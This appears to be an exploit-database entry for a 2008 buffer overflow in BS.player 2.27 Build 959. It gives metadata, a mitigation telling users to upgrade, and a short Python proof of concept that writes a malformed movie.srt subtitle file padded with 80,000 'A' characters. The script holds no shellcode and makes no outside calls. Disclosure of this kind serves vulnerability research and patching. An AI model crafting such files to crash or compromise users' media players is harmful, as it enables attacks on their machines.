header-logo
Suggest Exploit
vendor:
BS.player
by:
Muris Kurgas a.k.a j0rgan
9.3
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: BS.player
Affected Version From: 2.27 Build 959
Affected Version To: 2.27 Build 959
Patch Exists: Yes
Related CWE: N/A
CPE: a:bsplayer:bs.player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

BS.player 2.27 Build 959 SRT Buffer Overflow

A buffer overflow vulnerability was discovered in BS.player 2.27 Build 959. An attacker can exploit this vulnerability by renaming a movie.srt file with the name of the movie they like, which will cause a buffer overflow and allow the attacker to execute arbitrary code.

Mitigation:

Upgrade to the latest version of BS.player
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# BS.player 2.27 Build 959 SRT Buffer Overflow 
# Just rename movie.srt file with the name of the movie you like...
#
# Vulnerability discovered by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com

# http://www.jorgan.users.cg.yu
#
# bolexxx, learn something, ladies will come soon or l8r man!
# red pill rocks!
# no muts, no pain :)

import os

bafer = 'A' * 80000

fileHandle = open ( 'movie.srt', 'w' )
fileHandle.write ( '1\n00:00:01,001 --> 00:00:05,099\n'+bafer ) 
fileHandle.close() 

# milw0rm.com [2008-04-16]

Navigation

Suggest Exploit

Services By CQR